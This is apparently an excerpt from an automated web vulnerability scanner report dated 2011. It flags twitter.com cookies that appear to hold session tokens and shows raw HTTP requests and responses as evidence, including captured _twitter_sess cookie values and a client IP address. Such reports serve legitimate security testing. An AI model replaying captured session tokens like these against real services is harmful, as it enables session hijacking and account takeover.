HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:51 GMT Server: hi Status: 200 OK X-Transaction: 1296570771-52990-26380 ETag: "257b2d56a0f8d6ef371c4e2c972c8c3a" Last-Modified: Tue, 01 Feb 2011 14:32:51 GMT X-Runtime: 0.01689 Content-Type: text/html; charset=utf-8 Content-Length: 42788 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570768467881; path=/; expires=Tue, 08-Feb-11 14:32:48 GMT; domain=.twitter.com Set-Cookie: guest_id=129657077116353647; path=/; expires=Thu, 03 Mar 2011 14:32:51 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTIyYjQwYTg5NDU5NDgxMjdmYTViMTVjYjk1OTc5YzMyIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsI3eaj4S0B--7a5fc965bf09be34b2e39c47e092a5479cc149c1; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657079790164862; path=/; expires=Thu, 03 Mar 2011 14:33:17 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /qianam HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:17 GMT Server: hi Status: 200 OK X-Transaction: 1296570797-79649-25731 ETag: "6a1b58c730c5ce80e60e0bdaf3239ea2" Last-Modified: Tue, 01 Feb 2011 14:33:17 GMT X-Runtime: 0.01298 Content-Type: text/html; charset=utf-8 Content-Length: 56209 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570797885016; path=/; expires=Tue, 08-Feb-11 14:33:17 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079790164862; path=/; expires=Thu, 03 Mar 2011 14:33:17 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTBlN2VlZWExZGU0MWVmMjhhZGFkMGZmNTI1NjBmNzFlIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIT0%252Bk4S0B--fdd7d7f34f7fc82c819ff96f72fe018f82127c14; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657080010985701; path=/; expires=Thu, 03 Mar 2011 14:33:20 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /rosyresources HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:20 GMT Server: hi Status: 200 OK X-Transaction: 1296570800-89824-7199 ETag: "a6a597f3ba9c55bb6fc04cfce59dc9f9" Last-Modified: Tue, 01 Feb 2011 14:33:20 GMT X-Runtime: 0.01954 Content-Type: text/html; charset=utf-8 Content-Length: 49430 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570800095954; path=/; expires=Tue, 08-Feb-11 14:33:20 GMT; domain=.twitter.com Set-Cookie: guest_id=129657080010985701; path=/; expires=Thu, 03 Mar 2011 14:33:20 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTZmMzIyN2Q2ZDU4YjUxNDg1ODIxYTVlNGIxZTFjZmU0Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsI8Fek4S0B--3e8ab80412a1832934d5b0c95fbe9e0537185fe8; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sarahdessen HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:20 GMT Server: hi Status: 200 OK X-Transaction: 1296664280-32194-27142 ETag: "d3fbce8453a7e3206514989e5df7c7d0" Last-Modified: Wed, 02 Feb 2011 16:31:20 GMT X-Runtime: 0.02307 Content-Type: text/html; charset=utf-8 Content-Length: 47387 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /science HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:08 GMT Server: hi Status: 200 OK X-Transaction: 1296664268-93135-45678 ETag: "9835266cf99864f5edcf6b201fcbb12b" Last-Modified: Wed, 02 Feb 2011 16:31:08 GMT X-Runtime: 0.01240 Content-Type: text/html; charset=utf-8 Content-Length: 51432 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /search HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:30:16 GMT Server: hi Status: 200 OK X-Transaction: 1296664216-12698-6173 ETag: "f4b981b1e3376280b23d220fab477870" Last-Modified: Wed, 02 Feb 2011 16:30:16 GMT X-Runtime: 0.05554 Content-Type: text/html; charset=utf-8 Content-Length: 19135 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sessions/change_locale HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 404 Not Found Date: Wed, 02 Feb 2011 16:31:50 GMT Server: hi Status: 404 Not Found X-Transaction: 1296664310-40175-6868 Last-Modified: Wed, 02 Feb 2011 16:31:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9230 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sethmeyers21 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:22 GMT Server: hi Status: 200 OK X-Transaction: 1296664282-42189-57855 ETag: "0a7d09e5544d525faea7e47c5f5e9c5b" Last-Modified: Wed, 02 Feb 2011 16:31:22 GMT X-Runtime: 0.01607 Content-Type: text/html; charset=utf-8 Content-Length: 44586 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzciCmZsYXNoSUM6J0FjdGlvbkNvbnRy%250Ab2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA6B2lkIiUwZWU5%250AYmE5M2IzN2U4M2Y4NTU1ODc1MGJjZTQ2Y2E4OToVaW5fbmV3X3VzZXJfZmxv%250AdzA%253D--5d5e0cde97546ff3bb3adffea964a59e2e281451; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657468565663431; path=/; expires=Thu, 03 Mar 2011 15:38:05 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /share HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /signup HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 302 Found Date: Wed, 02 Feb 2011 16:30:15 GMT Server: hi Status: 302 Found X-Transaction: 1296664215-68105-21351 Last-Modified: Wed, 02 Feb 2011 16:30:15 GMT Location: https://twitter.com/signup X-Runtime: 0.00546 Content-Type: text/html; charset=utf-8 Content-Length: 92 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<html><body>You are being <a href="https://twitter.com/signup">redirected</a>.</body></html>
guest_id=129657079719886226; path=/; expires=Thu, 03 Mar 2011 14:33:17 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sp_arizona HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:17 GMT Server: hi Status: 200 OK X-Transaction: 1296570797-74858-25074 ETag: "af94f4598d9ba4dc824eed21cf28130c" Last-Modified: Tue, 01 Feb 2011 14:33:17 GMT X-Runtime: 0.01041 Content-Type: text/html; charset=utf-8 Content-Length: 59892 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570797191212; path=/; expires=Tue, 08-Feb-11 14:33:17 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079719886226; path=/; expires=Thu, 03 Mar 2011 14:33:17 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTdkN2FlNWM5N2ZiNDExYmMwMzUxZDk0N2E3NTNjZWI4Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIkEyk4S0B--3dc48e749df60de049063cbf90ad7fc867311bc5; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=12965707969606832; path=/; expires=Thu, 03 Mar 2011 14:33:16 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sp_oregon HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:16 GMT Server: hi Status: 200 OK X-Transaction: 1296570796-41787-44598 ETag: "9062b69bb373471eebcb428cbc672264" Last-Modified: Tue, 01 Feb 2011 14:33:16 GMT X-Runtime: 0.01675 Content-Type: text/html; charset=utf-8 Content-Length: 59349 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570796952504; path=/; expires=Tue, 08-Feb-11 14:33:16 GMT; domain=.twitter.com Set-Cookie: guest_id=12965707969606832; path=/; expires=Thu, 03 Mar 2011 14:33:16 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTg4M2FlMWU1YTdjODcyZDAwZjNmMDYzNDM3NTg4NjYzIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIo0uk4S0B--8c1cd526ce98f4b9a27c95f038357bd12cd59e4e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657079765322715; path=/; expires=Thu, 03 Mar 2011 14:33:17 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sp_tx HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:17 GMT Server: hi Status: 200 OK X-Transaction: 1296570797-19223-29726 ETag: "19fc33eaf2857f18250f64d34c8288b5" Last-Modified: Tue, 01 Feb 2011 14:33:17 GMT X-Runtime: 0.01270 Content-Type: text/html; charset=utf-8 Content-Length: 59123 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570797643297; path=/; expires=Tue, 08-Feb-11 14:33:17 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079765322715; path=/; expires=Thu, 03 Mar 2011 14:33:17 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTVkYzQ0Nzg5MDIxYmYxZjJhODhiMWI5ODRkMmYyMTJlIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIV06k4S0B--5f18d466d1bff4879062521feb9e994bd7aaf156; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /toptweets/favorites HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; 